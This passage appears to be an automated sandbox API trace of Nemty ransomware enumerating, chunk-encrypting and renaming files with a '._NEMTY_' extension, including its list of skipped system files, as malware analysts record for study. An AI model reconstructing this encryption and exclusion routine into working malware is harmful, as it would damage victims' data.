hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.041] CloseHandle (hObject=0xffffffff) returned 0 [0085.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0085.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0085.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340328 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.041] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94320 | out: hHeap=0x4f90000) returned 1 [0085.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0085.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.042] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="..") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="...") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="windows") returned -1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="$RECYCLE.BIN") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="rsa") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="NTDETECT.COM") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="ntldr") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="MSDOS.SYS") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="IO.SYS") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="boot.ini") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="boot.ini") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="AUTOEXEC.BAT") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="ntuser.dat") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="desktop.ini") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="CONFIG.SYS") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="RECYCLER") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="BOOTSECT.BAK") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="bootmgr") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="programdata") returned 1 [0085.042] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="appdata") returned 1 [0085.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_videoinset.png", lpUsedDefaultChar=0x0) returned 30 [0085.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0085.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_videoinset.png", lpUsedDefaultChar=0x0) returned 30 [0085.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0085.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_videoinset.png", lpUsedDefaultChar=0x0) returned 30 [0085.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_videoinset.png", lpUsedDefaultChar=0x0) returned 30 [0085.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0085.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0085.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0085.043] Sleep (dwMilliseconds=0x5) [0085.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe6570d30, dwHighDateTime=0x1d561e7)) [0085.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe6570d30, dwHighDateTime=0x1d561e7)) [0085.049] GetLastError () returned 0x5 [0085.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.049] GetLastError () returned 0x5 [0085.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0085.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0085.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0085.050] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0085.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0085.050] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="8WAZlCsw/L4fRaPKwkW7Y02rdOv+59IWQ8sFuCH2OPeDBFUy+eH0bi7dCSu3r8Ah\r\nr7f4zLE9WkSKO+M1QjGrxE9wA1hQYcantak+oJrt01FlesqJGiDJjMAwTELPXIqY\r\nytwNZyC9rsR/vnTx6wQISKgqw2LWo+rDZXxTnNhoGe1u5MTsvCuYF6bdLsSp56tU\r\noLz5FXWjkMlOQk1HcY/3MYcbSh8o1D7ODVTOqnJ5EOsX8263n8nn9+ksBgRzFm6R\r\nQrGBNghrUnfblGoGPC5t1p3P2nLtJgGD4fmcn9Nuz7/YViRIC6VrXgvTUSa7SeYF\r\nZ5gZaf+aAGSMVn5gKU+NeQ==\r\n", pcchString=0x653ec5c) returned 1 [0085.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0085.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0085.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0085.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0085.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0085.050] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.050] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0085.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0085.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.062] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.108] WriteFile (in: hFile=0xffffffff, 